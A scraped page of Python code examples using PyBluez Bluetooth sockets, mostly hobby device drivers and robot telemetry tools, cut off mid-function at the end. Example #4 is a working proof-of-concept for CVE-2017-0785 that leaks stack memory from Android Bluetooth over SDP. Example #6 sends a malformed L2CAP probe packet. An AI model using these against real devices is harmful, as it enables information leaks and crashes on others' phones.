def _recv_client_data(client_socket: bluetooth.BluetoothSocket):
    data = b''
    tmp_char = client_socket.recv(1)
    while tmp_char != b'\x00':
        data += tmp_char
        tmp_char = client_socket.recv(1)
    return data
Exemple #2
0
def client_loop(client: bt.BluetoothSocket, cursor: sqlite3.Cursor,
                connection: sqlite3.Connection):
    while True:
        try:
            print('Try receiving')
            raw = client.recv(1024)
            print(f'Received {len(raw)} bytes: {raw}')

            query = decode_message(raw)
            query_type = query.WhichOneof("query")
            print(f'Query type: {query_type}')

            if query_type == 'get_ids':
                response = encode_ids(cursor)
            elif query_type == 'get_flower_data':
                flower_id = query.get_flower_data.flower_id
                since_time = query.get_flower_data.since_time
                response = encode_flower_data(flower_id, since_time, cursor)
            elif query_type == 'set_watering':
                flower_id = query.set_watering.flower_id
                hour = query.set_watering.hour
                days = query.set_watering.days
                set_watering(flower_id, hour, days, cursor, connection)
                response = encode_watering_set()
            else:
                continue

            raw_send = response.SerializeToString()
            client.send(raw_send)
            print(f'Sent {len(raw_send)} bytes: {raw_send}')

        except bt.btcommon.BluetoothError as e:
            print(e)
            client.close()
            break
Exemple #3
0
def listenThread(thread_sock: bluetooth.BluetoothSocket):
    print('Running listen thread')
    message = b''
    while True:
        byte_received = thread_sock.recv(1)
        message += byte_received
        if byte_received == b'\n':
            print('message received: ' + message.decode('utf-8').strip())
            message = b''
Exemple #4
0
def main():
    target_bd_addr = args['BD_ADDR']

    l2cap_mtu = 50

    sock = BluetoothSocket(L2CAP)
    set_l2cap_mtu(sock, l2cap_mtu)

    sock.connect((target_bd_addr, PSM_SDP))

    print('Sending the first SDP_SERVICE_SEARCH_REQ PDU')
    params = {
        'ServiceSearchPattern': b'\x35\x03\x19\x01\x00',
        'MaximumServiceRecordCount': 0xFFFF,
        'ContinuationState': b'\x00'
    }
    sock.send(sdp_service_search_req(params))
    sdp_service_search_rsp = sock.recv(l2cap_mtu)
    
    info_len = sdp_service_search_rsp[-3]
    if info_len != ANDROID_CONT_STATE_INFO_LEN:
        print(sdp_service_search_rsp[-3])
        print('Invalid continuation state received.')
        sys.exit(1)

    stack = b''
    for i in range(1, 30): # 越界读的次数太多会导致目标蓝牙崩溃
        print('Sending packet %d' % i)
        params = {
            'ServiceSearchPattern': b'\x35\x03\x19\x01\x00',
            'MaximumServiceRecordCount': 0x0001,
            'ContinuationState': sdp_service_search_rsp[-3:]
        }
        sock.send(sdp_service_search_req(params))
        sdp_service_search_rsp = sock.recv(l2cap_mtu)
        
        # Leaked info is in ServiceRecordHandleList field
        stack += sdp_service_search_rsp[9:-3]

    sock.close()

    print(hexdump(stack))
    if len(stack) > 20:
        print('CVE-2017-0785')
Exemple #5
0
class BluetoothInterface:
    def __init__(self):
        self.rfcomm = BluetoothSocket(RFCOMM)
        self.rfcomm.connect(("00:21:13:01:D1:59", 1))
        self.rfcomm.settimeout(0.01)

    def send(self, message):
        try:
            self.rfcomm.send(message)
        except Exception:
            print_exc()

    def receive(self):
        return self.rfcomm.recv(1024)
Exemple #6
0
    def scan(self, bd_addr: str):
        print('[DEBUG] call StackScanner.scan()')
        remote_addr = bd_addr
        psm = 0x0001

        l2_sock = BluetoothSocket(L2CAP)

        code = 0x08
        identifier = 0x01
        length = 0x0001
        data = b'\xff'

        # payload = struct.pack('<BBHC', code, identifier, length, data)
        payload = struct.pack('<BBH1s', code, identifier, length, data)

        l2_sock.connect((remote_addr, psm))
        l2_sock.send(payload)
        data = l2_sock.recv(1024)
Exemple #7
0
def discover():

    TimeBoxList = {}
    print('scanning for timebox')
    discovered = discover_devices(duration=5, lookup_names=True)

    if (not len(discovered)):
        print("no devices discovered")
        return
    else:
        for a, n in discovered:
            if (n and 'timebox' in n.lower()):
                print('checking device %s' % a)

                try:
                    sock = BluetoothSocket(bluetooth.RFCOMM)
                    sock.connect((a, 4))
                    hello = [ord(c) for c in sock.recv(256)]

                    if (hello == TIMEBOX_HELLO):
                        TimeBoxList['address'] = a
                        TimeBoxList['sock'] = sock
                        break
                    else:
                        print('invalid hello received')

                    sock.close()
                except:
                    pass

        if (not 'address' in TimeBoxList):
            print('could not find a timebox ...')
            return
        else:
            print("Found device : " + TimeBoxList['address'])
    return
Exemple #8
0
class TimeBox:
    """Class TimeBox encapsulates the TimeBox communication."""

    DEFAULTHOST = "11:75:58:48:2F:DA"

    COMMANDS = {
        "switch radio": 0x05,
        "set volume": 0x08,
        "get volume": 0x09,
        "set mute": 0x0a,
        "get mute": 0x0b,
        "set date time": 0x18,
        "set image": 0x44,
        "set view": 0x45,
        "set animation frame": 0x49,
        "get temperature": 0x59,
        "get radio frequency": 0x60,
        "set radio frequency": 0x61
    }

    socket = None
    messages = None
    message_buf = []

    def __init__(self):
        self.messages = TimeBoxMessages()

    def connect(self, host=None, port=4):
        """Open a connection to the TimeBox."""
        # Create the client socket
        if host is None:
            host = self.DEFAULTHOST
        #print("connecting to %s at %s" % (self.host, self.port))
        self.socket = BluetoothSocket(RFCOMM)
        self.socket.connect((host, port))
        self.socket.setblocking(0)

    def close(self):
        """Closes the connection to the TimeBox."""
        self.socket.close()

    def receive(self, num_bytes=1024):
        """Receive n bytes of data from the TimeBox and put it in the input buffer.
        Returns the number of bytes received."""
        ready = select.select([self.socket], [], [], 0.1)
        if ready[0]:
            data = self.socket.recv(num_bytes)
            self.message_buf += data
            return len(data)
        else:
            return 0

    def send_raw(self, data):
        """Send raw data to the TimeBox."""
        return self.socket.send(data)

    def send_payload(self, payload):
        """Send raw payload to the TimeBox. (Will be escaped, checksumed and
        messaged between 0x01 and 0x02."""
        msg = self.messages.make_message(payload)
        return self.socket.send(bytes(msg))

    def send_command(self, command, args=None):
        """Send command with optional arguments"""
        if args is None:
            args = []
        if isinstance(command, str):
            command = self.COMMANDS[command]
        length = len(args) + 3
        length_lsb = length & 0xff
        length_msb = length >> 8
        payload = [length_lsb, length_msb, command] + args
        self.send_payload(payload)

    def decode(self, msg):
        """remove leading 1, trailing 2 and checksum and un-escape"""
        return self.messages.decode(msg)

    def has_message(self):
        """Check if there is a complete message *or leading garbage data* in the input buffer."""
        if len(self.message_buf) == 0:
            return False
        if self.message_buf[0] != 0x01:
            return True
        #endmarks = [x for x in self.message_buf if x == 0x02]
        #return  len(endmarks) > 0
        return 0x02 in self.message_buf

    def buffer_starts_with_garbage(self):
        """Check if the input buffer starts with data other than a message."""
        if len(self.message_buf) == 0:
            return False
        return self.message_buf[0] != 0x01

    def remove_garbage(self):
        """Remove data from the input buffer that is not the start of a message."""
        pos = self.message_buf.index(
            0x01) if 0x01 in self.message_buf else len(self.message_buf)
        res = self.message_buf[0:pos]
        self.message_buf = self.message_buf[pos:]
        return res

    def remove_message(self):
        """Remove a message from the input buffer and return it. Assumes it has been checked that
        there is a complete message without leading garbage data"""
        if not 0x02 in self.message_buf:
            raise Exception('There is no message')
        pos = self.message_buf.index(0x02) + 1
        res = self.message_buf[0:pos]
        self.message_buf = self.message_buf[pos:]
        return res

    def drop_message_buffer(self):
        """Drop all dat currently in the message buffer,"""
        self.message_buf = []

    def set_static_image(self, image):
        """Set the image on the TimeBox"""
        msg = self.messages.static_image_message(image)
        self.socket.send(bytes(msg))

    def set_dynamic_images(self, images, frame_delay):
        """Set the image on the TimeBox"""
        fnum = 0
        for img in images:
            msg = self.messages.dynamic_image_message(img, fnum, frame_delay)
            fnum = fnum + 1
            self.socket.send(bytes(msg))

    def show_temperature(self, color=None):
        """Show temperature on the TimeBox in Celsius"""
        args = [0x01, 0x00]
        if not color is None:
            args += color
        self.send_command("set view", args)

    def show_clock(self, color=None):
        """Show clock on the TimeBox in the color"""
        args = [0x00, 0x01]
        if not color is None:
            args += color
        self.send_command("set view", args)

    def clear_input_buffer(self):
        """Read all input from TimeBox and remove from buffer. """
        while self.receive() > 0:
            self.drop_message_buffer()

    def clear_input_buffer_quick(self):
        """Quickly read most input from TimeBox and remove from buffer. """
        while self.receive(512) == 512:
            self.drop_message_buffer()
Exemple #9
0
rfcomm.connect(('00:18:E5:03:F5:99', 1))  # Bricogeek
#rfcomm.connect(('98:D3:31:F6:1C:51', 1)) # white
#rfcomm.connect(('98:D3:31:70:13:AB', 1)) # green

#rfcomm.settimeout(None) # set blocking True
#rfcomm.settimeout(0.0) # set blocking False
#rfcomm.settimeout(0.01)

print("Connected")

#t1 = time.time()
while (True):

    try:
        data = rfcomm.recv(1024)
        print(len(data))
    except BluetoothError as error:
        if str(error) != 'timed out':
            raise

    #try:
    #    rfcomm.send(data)
    #except BluetoothError as error:
    #    if str(error) != 'timed out':
    #        raise

    #t2 = time.time()
    #print(t2-t1)
    #t1 = time.time()
Exemple #10
0
class Interp(cmd.Cmd):
    prompt = "balitronics > "

    def __init__(self,
                 tty=None,
                 baudrate=38400,
                 addr='98:D3:31:70:13:AB',
                 port=1):
        cmd.Cmd.__init__(self)
        self.escape = "\x01"  # C-a
        self.quitraw = "\x02"  # C-b
        self.serial_logging = False
        self.default_in_log_file = "/tmp/eurobotics.in.log"
        self.default_out_log_file = "/tmp/eurobotics.out.log"

        self.ser = None
        if (tty is not None):
            self.ser = serial.Serial(tty, baudrate=baudrate)
        else:
            self.rfcomm = BluetoothSocket(RFCOMM)
            self.rfcomm.connect((addr, port))
            self.rfcomm.settimeout(0.01)

    def do_quit(self, args):
        if self.ser is None:
            self.rfcomm.close()
        return True

    def do_log(self, args):
        """Activate serial logs.
        log <filename>           logs input and output to <filename>
        log <filein> <fileout>   logs input to <filein> and output to <fileout>
        log                      logs to /tmp/eurobotics.log or the last used file"""

        if self.serial_logging:
            log.error("Already logging to %s and %s" %
                      (self.ser.filein, self.ser.fileout))
        else:
            self.serial_logging = True
            files = [os.path.expanduser(x) for x in args.split()]
            if len(files) == 0:
                files = [self.default_in_log_file, self.default_out_log_file]
            elif len(files) == 1:
                self.default_in_log_file = files[0]
                self.default_out_log_file = None
            elif len(files) == 2:
                self.default_in_log_file = files[0]
                self.default_out_log_file = files[1]
            else:
                print("Can't parse arguments")

            self.ser = SerialLogger(self.ser, *files)
            log.info("Starting serial logging to %s and %s" %
                     (self.ser.filein, self.ser.fileout))

    def do_unlog(self, args):
        if self.serial_logging:
            log.info("Stopping serial logging to %s and %s" %
                     (self.ser.filein, self.ser.fileout))
            self.ser = self.ser.ser
            self.serial_logging = False
        else:
            log.error("No log to stop")

    def do_raw_tty(self, args):
        "Switch to RAW mode"
        stdin = os.open("/dev/stdin", os.O_RDONLY)
        stdout = os.open("/dev/stdout", os.O_WRONLY)

        stdin_termios = termios.tcgetattr(stdin)
        raw_termios = stdin_termios[:]

        try:
            log.info("Switching to RAW mode")

            # iflag
            raw_termios[0] &= ~(termios.IGNBRK | termios.BRKINT |
                                termios.PARMRK | termios.ISTRIP | termios.INLCR
                                | termios.IGNCR | termios.ICRNL | termios.IXON)
            # oflag
            raw_termios[1] &= ~termios.OPOST
            # cflag
            raw_termios[2] &= ~(termios.CSIZE | termios.PARENB)
            raw_termios[2] |= termios.CS8
            # lflag
            raw_termios[3] &= ~(termios.ECHO | termios.ECHONL | termios.ICANON
                                | termios.ISIG | termios.IEXTEN)

            termios.tcsetattr(stdin, termios.TCSADRAIN, raw_termios)

            mode = "normal"
            while True:
                ins, outs, errs = select([stdin, self.ser], [], [])
                for x in ins:
                    if x == stdin:
                        c = os.read(stdin, 1)
                        if mode == "escape":
                            mode == "normal"
                            if c == self.escape:
                                self.ser.write(self.escape)
                            elif c == self.quitraw:
                                return
                            else:
                                self.ser.write(self.escape)
                                self.ser.write(c)
                        else:
                            if c == self.escape:
                                mode = "escape"
                            else:
                                self.ser.write(c)
                    elif x == self.ser:
                        os.write(stdout, self.ser.read(1))
        finally:
            termios.tcsetattr(stdin, termios.TCSADRAIN, stdin_termios)
            log.info("Back to normal mode")

    def do_tm_rfcomm(self, args):
        self.rfcomm.settimeout(1.)
        self.rfcomm.send("event power off\n\r")
        time.sleep(0.1)
        self.rfcomm.send("event tm on\n\r")

        t1 = t2 = time.time()
        self.rfcomm.settimeout(0.01)
        received = self.rfcomm.recv(1)
        while t2 - t1 < 1:
            try:
                self.rfcomm.settimeout(0.01)
                #received.append(self.rfcomm.recv(1024))
                received += self.rfcomm.recv(1024)
            except BluetoothError as error:
                if str(error) != 'timed out':
                    raise
            t2 = time.time()

        self.rfcomm.send("event tm on\n\r")
        time.sleep(0.1)

        print(received)

    def do_tm_test(self, args):
        self.rfcomm.settimeout(1.)
        self.rfcomm.send("\n\revent tm on\n\r")
        self.rfcomm.settimeout(0.1)
        #self.rfcomm.settimeout(None) # set blocking True
        #self.rfcomm.settimeout(0.0) # set blocking False
        time.sleep(5)
        t1 = time.time()
        while time.time() - t1 < 10:
            try:
                received = self.rfcomm.recv(4096)
                print("rx", len(received))
                received = 0
            #except BluetoothError as error:
            except:
                raise
                #if str(error) != 'timed out':
                #    raise
                #if str(error) != 'Resource temporarily unavailable':
                #    raise

    def do_raw_rfcomm(self, args):
        "Switch to RAW mode"
        stdin = os.open("/dev/stdin", os.O_RDONLY)
        stdout = os.open("/dev/stdout", os.O_WRONLY)

        stdin_termios = termios.tcgetattr(stdin)
        raw_termios = stdin_termios[:]

        try:
            log.info("Switching to RAW mode")

            # iflag
            raw_termios[0] &= ~(termios.IGNBRK | termios.BRKINT |
                                termios.PARMRK | termios.ISTRIP | termios.INLCR
                                | termios.IGNCR | termios.ICRNL | termios.IXON)
            # oflag
            raw_termios[1] &= ~termios.OPOST
            # cflag
            raw_termios[2] &= ~(termios.CSIZE | termios.PARENB)
            raw_termios[2] |= termios.CS8
            # lflag
            raw_termios[3] &= ~(termios.ECHO | termios.ECHONL | termios.ICANON
                                | termios.ISIG | termios.IEXTEN)

            termios.tcsetattr(stdin, termios.TCSADRAIN, raw_termios)
            #i = 0

            mode = "normal"
            while True:
                #ins,outs,errs=select([stdin,self.ser],[],[])
                ins, outs, errs = select([stdin, self.rfcomm], [], [])
                for x in ins:
                    if x == stdin:
                        c = os.read(stdin, 1)
                        if mode == "escape":
                            mode == "normal"
                            if c == self.escape:
                                #self.ser.write(self.escape)
                                self.rfcomm.settimeout(1.)
                                self.rfcomm.send(self.escape)
                            elif c == self.quitraw:
                                return
                            else:
                                #self.ser.write(self.escape)
                                #self.ser.write(c)
                                self.rfcomm.settimeout(1.)
                                self.rfcomm.send(self.escape)
                        else:
                            if c == self.escape:
                                mode = "escape"
                            else:
                                #time.sleep(0.1)
                                #self.ser.write(c)
                                self.rfcomm.settimeout(1.)
                                self.rfcomm.send(c)

                    #elif x == self.ser:
                    elif x == self.rfcomm:
                        #os.write(stdout,self.ser.read())
                        #self.rfcomm.settimeout(0.01)
                        #os.write(stdout,self.rfcomm.recv(1022))

                        try:
                            self.rfcomm.settimeout(0.0)  # set blocking False
                            received = self.rfcomm.recv(4096)
                            os.write(stdout, received)
                        except:
                            pass
                        #except BluetoothError as error:
                        #    if str(error) != 'timed out':
                        #        raise

        finally:
            termios.tcsetattr(stdin, termios.TCSADRAIN, stdin_termios)
            log.info("Back to normal mode")

    def do_centrifugal(self, args):
        try:
            sa, sd, aa, ad = [int(x) for x in shlex.shlex(args)]
        except:
            print("args: speed_a, speed_d, acc_a, acc_d")
            return
        print(sa, sd, aa, ad)
        time.sleep(10)
        self.ser.write("traj_speed angle %d\n" % (sa))
        time.sleep(0.1)
        self.ser.write("traj_speed distance %d\n" % (sd))
        time.sleep(0.1)
        self.ser.write("traj_acc angle %d\n" % (aa))
        time.sleep(0.1)
        self.ser.write("traj_acc distance %d\n" % (ad))
        time.sleep(0.1)
        self.ser.write("goto da_rel 800 180\n")
        time.sleep(3)
        self.ser.flushInput()
        self.ser.write("position show\n")
        time.sleep(1)
        print(self.ser.read())

    def do_traj_acc(self, args):
        try:
            name, acc = [x for x in shlex.shlex(args)]
        except:
            print("args: cs_name acc")
            return

        acc = int(acc)
        self.ser.flushInput()
        self.ser.write("quadramp %s %d %d 0 0\n" % (name, acc, acc))
        time.sleep(1)
        print(self.ser.read())

    def do_traj_speed(self, args):
        try:
            name, speed = [x for x in shlex.shlex(args)]
        except:
            print("args: cs_name speed")
            return

        speed = int(speed)
        self.ser.flushInput()
        self.ser.write("traj_speed %s %d\n" % (name, speed))
        time.sleep(1)
        print(self.ser.read())

    def do_hc05_stress(self, args):
        #self.ser.flushInput()
        #self.ser.flushInput()
        for i in range(1000):
            for j in range(9):
                self.rfcomm.settimeout(1.)
                self.rfcomm.send(str(j))
                #print(str(i)+'\n'))

        data = ''
        for i in range(1000):
            for j in range(9):
                data += self.rfcomm.recv(1)

        for i in range(1000):
            for j in range(9):
                print(data[i])

    def do_tune(self, args):
        try:
            name, tlog, cons, gain_p, gain_i, gain_d = [
                x for x in shlex.shlex(args)
            ]
        except:
            print("args: cs_name, time_ms, consigne, gain_p, gain_i, gain_d")
            return

        # Test parameters
        tlog = float(tlog) / 1000.0
        cons = int(cons)
        gain_p = int(gain_p)
        gain_i = int(gain_i)
        gain_d = int(gain_d)
        #print(name, cons, gain_p, gain_i, gain_d)

        # Set position, gains, set tm on and goto consign
        self.ser.flushInput()
        self.ser.write("position set 1500 1000 0\n")
        time.sleep(0.1)

        if name == "d":
            self.ser.write("gain distance %d %d %d\n" %
                           (gain_p, gain_i, gain_d))
            time.sleep(0.1)
            self.ser.write("echo off\n")
            #time.sleep(2)
            #print(self.ser.read())

            print("goto d_rel %d\n" % (cons))

            self.ser.write("event tm on\n")
            self.ser.flushInput()
            time.sleep(0.1)
            self.ser.write("goto d_rel %d\n" % (cons))

        elif name == "a":
            self.ser.write("gain angle %d %d %d\n" % (gain_p, gain_i, gain_d))
            time.sleep(0.1)
            self.ser.write("echo off\n")
            #time.sleep(2)
            #print(self.ser.read())

            print("goto d_rel %d\n" % (cons))

            self.ser.write("event tm on\n")
            self.ser.flushInput()
            time.sleep(0.1)
            self.ser.write("goto a_rel %d\n" % (cons))

        else:
            print("unknow cs name")
            return

        # Telemetry reading
        tm_data = ''
        t1 = time.time()
        self.ser.flushInput()
        while True:
            tm_data += self.ser.read()

            # Break after test time
            t2 = time.time()
            if tlog and (t2 - t1) >= tlog:
                tlog = 0
                self.ser.write("\n\r")
                time.sleep(0.1)
                self.ser.write("event tm off\n")
                self.ser.write("echo on\n")
                time.sleep(2)
                self.ser.flushInput()
                time.sleep(2)
                self.ser.flushInput()
                break

        # Telemetry parser
        i = 0
        time_ms = np.zeros(0)
        cons = f_cons = err = feedback = out = np.zeros(0)
        v_cons = v_feedback = np.zeros(1)
        a_cons = a_feedback = a_cons = a_feedback = np.zeros(2)

        TM_HEAD_BYTE_0 = '\xFB'
        TM_HEAD_BYTE_1 = '\xBF'
        TM_TAIL_BYTE_0 = '\xED'
        TM_SIZE = 48
        TM_STRUCT = 'IiiiiiiiiiiBB'

        head = TM_HEAD_BYTE_0 + TM_HEAD_BYTE_1
        tm_packets = tm_data.split(head)
        #print(tm_packets))

        for data in tm_packets:
            if data[-1] == TM_TAIL_BYTE_0 and len(data) == (TM_SIZE - 2):
                tm_data = unpack(TM_STRUCT, data)
                #print(tm_data, type(tm_data)))

                time_ms = np.append(time_ms, tm_data[0])
                #cons = np.append(cons, tm_data[1])
                #f_cons = np.append(f_cons, tm_data[2])
                #err = np.append(err, tm_data[3])
                #feedback = np.append(feedback, tm_data[4])
                #out = np.append(out, tm_data[5])
                cons = np.append(cons, tm_data[6])
                f_cons = np.append(f_cons, tm_data[7])
                err = np.append(err, tm_data[8])
                feedback = np.append(feedback, tm_data[9])
                out = np.append(out, tm_data[10])

                if i > 0:
                    v_cons = np.append(v_cons, (f_cons[i] - f_cons[i - 1]) /
                                       (time_ms[i] - time_ms[i - 1]))
                    v_feedback = np.append(v_feedback,
                                           (feedback[i] - feedback[i - 1]) /
                                           (time_ms[i] - time_ms[i - 1]))

                if i > 1:
                    a_cons = np.append(a_cons, (v_cons[i] - v_cons[i - 1]) /
                                       (time_ms[i] - time_ms[i - 1]))
                    a_feedback = np.append(
                        a_feedback, (v_feedback[i] - v_feedback[i - 1]) /
                        (time_ms[i] - time_ms[i - 1]))

                i += 1

        # Telemetry stuff
        """
        # Telemetry parsing
        t1 = time.time()
        while True:

          # Break after test time
          t2 = time.time()
          if tlog and (t2 - t1) >= tlog:
            tlog = 0
            self.ser.write("event tm off\n")
            break


          # read log data
          time.sleep(TS/10000.0)
          line = self.ser.readline()

          tm_data = struct.struct('Iiiiiiiiiiic')

          print(line)
          #m = re.match("(-?\+?\d+).(-?\+?\d+): \((-?\+?\d+),(-?\+?\d+),(-?\+?\d+)\) "
          #             "%s cons= (-?\+?\d+) fcons= (-?\+?\d+) err= (-?\+?\d+) "
          #             "in= (-?\+?\d+) out= (-?\+?\d+)"%(name), line)

          m = re.match("%s (\d+) (-?\+?\d+) (-?\+?\d+) (-?\+?\d+) (-?\+?\d+) (-?\+?\d+)"%(name), line)


          # data logging
          if m:
            #print(line)
            #print(m.groups())
            t = np.append(t, i*TS)
            time_ms = np.append(time_ms, int(m.groups()[0]))
            cons = np.append(cons, int(m.groups()[1]))
            f_cons = np.append(f_cons, int(m.groups()[2]))
            err = np.append(err, int(m.groups()[3]))
            feedback = np.append(feedback, int(m.groups()[4]))
            out = np.append(out, int(m.groups()[5]))

            if i>0:
                v_cons = np.append(v_cons, (f_cons[i] - f_cons[i-1])/(time_ms[i]-time_ms[i-1]))
                v_feedback = np.append(v_feedback, (feedback[i] - feedback[i-1])/(time_ms[i]-time_ms[i-1]))

            if i>1:
                a_cons = np.append(a_cons, (v_cons[i] - v_cons[i-1])/(time_ms[i]-time_ms[i-1]))
                a_feedback = np.append(a_feedback, (v_feedback[i] - v_feedback[i-1])/(time_ms[i]-time_ms[i-1]))

            i += 1
            continue

          # trajectory end
          m = re.match("returned", line)
          if m:
            print(line.rstrip())

         """

        time_ms = time_ms - time_ms[0]

        plt.figure(1)
        plt.subplot(311)
        plt.plot(time_ms, v_cons, '.-', label="consigna")
        plt.plot(time_ms, v_feedback, '.-', label="feedback")
        plt.ylabel('v (pulsos/Ts)')
        plt.grid(True)
        plt.legend()
        plt.title('%s kp=%s, ki=%d, kd=%d' % (name, gain_p, gain_i, gain_d))

        plt.subplot(312)
        plt.plot(time_ms, a_cons, '.-', label="consigna")
        plt.plot(time_ms, a_feedback, '.-', label="feedback")
        plt.ylabel('a (pulsos/Ts^2)')
        plt.grid(True)
        plt.legend()

        plt.subplot(313)
        plt.plot(time_ms, out, '.-')
        plt.xlabel('t (ms)')
        plt.ylabel('u (cuentas)')
        plt.grid(True)

        plt.figure(2)
        plt.subplot(311)
        plt.plot(time_ms, f_cons - feedback[0], '.-', label="consigna")
        plt.plot(time_ms, feedback - feedback[0], '.-', label="feedback")
        plt.ylabel('posicion (pulsos)')
        plt.grid(True)
        plt.legend()
        plt.title('%s kp=%s, ki=%d, kd=%d' % (name, gain_p, gain_i, gain_d))

        plt.subplot(312)
        plt.plot(time_ms, err, '.-')
        plt.xlabel('t (ms)')
        plt.ylabel('error (pulsos)')
        plt.grid(True)

        plt.subplot(313)
        plt.plot(time_ms, out, '.-')
        plt.xlabel('t (ms)')
        plt.ylabel('u (cuentas)')
        plt.grid(True)

        plt.show()
Exemple #11
0
class TimeBox:
    """Class TimeBox encapsulates the TimeBox communication."""
    
    DEFAULTHOST = config.timebox_mac

    COMMANDS = {
        "switch radio": 0x05,
        "set volume": 0x08,
        "get volume": 0x09,
        "set mute": 0x0a,
        "get mute": 0x0b,
        "set date time": 0x18,
        "set image": 0x44,
        "set view": 0x45,
        "set animation frame": 0x49,
        "get temperature": 0x59,
        "get radio frequency": 0x60,
        "set radio frequency": 0x61
    }

    socket = None
    messages = None
    message_buf = []

    def __init__(self):
        self.messages = TimeBoxMessages()


    def show_text(self, txt, speed=20, font=None):
        """
          Display text & scroll, call is blocking
        """
        if (type(txt) is not list) or (len(txt)==0) or (type(txt[0]) is not tuple):
            raise Exception("a list of tuple is expected")
        im = draw_multiple_to_image(txt, font)
        slices = horizontal_slices(im)
        for i, s in enumerate(slices):
            #s.save("./debug/%s.bmp"%i)
            self.set_static_image(build_img(s))
            time.sleep(1.0/speed)

    def show_text2(self, txt, font=None):
        """
        Use dynamic_image_message to display scolling text
        Cannot go faster than 1fps
        """
        if (type(txt) is not list) or (len(txt)==0) or (type(txt[0]) is not tuple):
            raise Exception("a list of tuple is expected")
        imgs = []
        im = divoom_image.draw_multiple_to_image(txt, font)
        slices = horizontal_slices(im)
        for i, s in enumerate(slices):
            # s.save("./debug/%s.bmp"%i)
            imgs.append(build_img(s))
        print len(imgs)
        self.set_dynamic_images(imgs)

    def show_static_image(self, path):
      self.set_static_image(divoom_image.load_image(path))

    def show_animated_image(self, path):
      self.set_dynamic_images(divoom_image.load_gif_frames(path))

    def connect(self, host=None, port=4):
        """Open a connection to the TimeBox."""
        # Create the client socket
        if host is None:
            host = self.DEFAULTHOST
        #print("connecting to %s at %s" % (self.host, self.port))
        self.socket = BluetoothSocket(RFCOMM)
        self.socket.connect((host, port))
        self.socket.setblocking(0)


    def close(self):
        """Closes the connection to the TimeBox."""
        self.socket.close()

    def receive(self, num_bytes=1024):
        """Receive n bytes of data from the TimeBox and put it in the input buffer."""
        ready = select.select([self.socket], [], [], 0.1)
        if ready[0]:
            self.message_buf += self.socket.recv(num_bytes)

    def send_raw(self, data):
        """Send raw data to the TimeBox."""
        return self.socket.send(data)

    def send_payload(self, payload):
        """Send raw payload to the TimeBox. (Will be escaped, checksumed and
        messaged between 0x01 and 0x02."""
        msg = self.messages.make_message(payload)
        return self.socket.send(str(bytearray(msg)))

    def set_time(self, time=None):
      if not time:
        time=datetime.datetime.now()
      args = []
      args.append(int(str(time.year)[2:]))
      args.append(int(str(time.year)[0:2]))
      args.append(int(time.month))
      args.append(int(time.day))
      args.append(int(time.hour))
      args.append(int(time.minute))
      args.append(int(time.second))
      args.append(0)
      self.send_command("set date time", args)

    def send_command(self, command, args=None):
        """Send command with optional arguments"""
        if args is None:
            args = []
        if isinstance(command, str):
            command = self.COMMANDS[command]
        length = len(args)+3
        length_lsb = length & 0xff
        length_msb = length >> 8
        payload = [length_lsb, length_msb, command] + args
        self.send_payload(payload)

    def decode(self, msg):
        """remove leading 1, trailing 2 and checksum and un-escape"""
        return self.messages.decode(msg)

    def has_message(self):
        """Check if there is a complete message *or leading garbage data* in the input buffer."""
        if len(self.message_buf) == 0:
            return False
        if self.message_buf[0] != 0x01:
            return True
        endmarks = [x for x in self.message_buf if x == 0x02]
        return  len(endmarks) > 0

    def buffer_starts_with_garbage(self):
        """Check if the input buffer starts with data other than a message."""
        if len(self.message_buf) == 0:
            return False
        return self.message_buf[0] != 0x01

    def remove_garbage(self):
        """Remove data from the input buffer that is nof the start of a message."""
        if not 0x01 in self.message_buf:
            pos = len(self.message_buf)
        else:
            pos = self.message_buf.index(0x01)
        res = self.message_buf[0:pos]
        self.message_buf = self.message_buf[pos:len(self.message_buf)]
        return res

    def remove_message(self):
        """Remove a message from the input buffer and return it. Assumes it has been checked that
        there is a complete message without leading garbage data"""
        if not 0x02 in self.message_buf:
            raise Exception('There is no message')
        pos = self.message_buf.index(0x02)+1
        res = self.message_buf[0:pos]
        self.message_buf = self.message_buf[pos:len(self.message_buf)]
        return res

    def set_static_image(self, image):
        """Set the image on the TimeBox"""
        msg = self.messages.static_image_message(image)
        self.socket.send(str(bytearray((msg))))

    def set_dynamic_images(self, images, frame_delay=1):
        """Set the image on the TimeBox"""
        fnum = 0
        for img in images:
            msg = self.messages.dynamic_image_message(img, fnum, frame_delay)
            fnum = fnum + 1
            self.socket.send(str(bytearray((msg))))

    def show_temperature(self, color=None):
        """Show temperature on the TimeBox in Celsius"""
        args = [0x01, 0x00]
        if color:
            color = ImageColor.getrgb(color)
            args += list(color)
        self.send_command("set view", args)

    def show_clock(self, color=None):
        """Show clock on the TimeBox in the color"""
        args = [0x00, 0x01]
        if color:
            color = ImageColor.getrgb(color)
            args += list(color)
        self.send_command("set view", args)
Exemple #12
0
class NodeBluetoothClient():
    ''' Tremium Node side bluetooth client which connects to the Tremium Hub '''
    def __init__(self, config_file_path):
        '''
        Parameters
        ------
        config_file_path (str) : path to the hub configuration file
        '''

        super().__init__()

        # loading configurations
        self.config_manager = NodeConfigurationManager(config_file_path)
        log_file_path = os.path.join(
            self.config_manager.config_data["node-file-transfer-dir"],
            self.config_manager.config_data["bluetooth-client-log-name"])

        # setting up logging
        logger = logging.getLogger()
        logger.setLevel(logging.INFO)
        log_handler = logging.handlers.WatchedFileHandler(log_file_path)
        log_handler.setFormatter(
            logging.Formatter('%(name)s - %(levelname)s - %(message)s'))
        logger.addHandler(log_handler)

        # defining connection to server
        self.server_s = None

        # connecting to local cache
        try:
            self.cache = NodeCacheModel(config_file_path)
        except Exception as e:
            time_str = datetime.datetime.fromtimestamp(
                time.time()).strftime('%Y-%m-%d_%H-%M-%S')
            logging.error(
                "{0} - NodeBluetoothClient failed to connect to cache {1}".
                format(time_str, e))
            raise

    def __del__(self):

        if self.server_s is not None:
            self.server_s.close()

    def _connect_to_server(self):
        ''' Establishes a connection with the Tremium Hub Bluetooth server '''

        bluetooth_port = self.config_manager.config_data["bluetooth-port"]

        try:

            # creating a new socket
            self.server_s = BluetoothSocket()
            self.server_s.bind(
                (self.config_manager.
                 config_data["bluetooth-adapter-mac-client"], bluetooth_port))

            # connecting to the hub
            time.sleep(0.25)
            self.server_s.connect(
                (self.config_manager.
                 config_data["bluetooth-adapter-mac-server"], bluetooth_port))
            self.server_s.settimeout(
                self.config_manager.config_data["bluetooth-comm-timeout"])
            time.sleep(0.25)

        # handling server connection failure
        except Exception as e:
            self.server_s.close()
            time_str = datetime.datetime.fromtimestamp(
                time.time()).strftime('%Y-%m-%d_%H-%M-%S')
            logging.error(
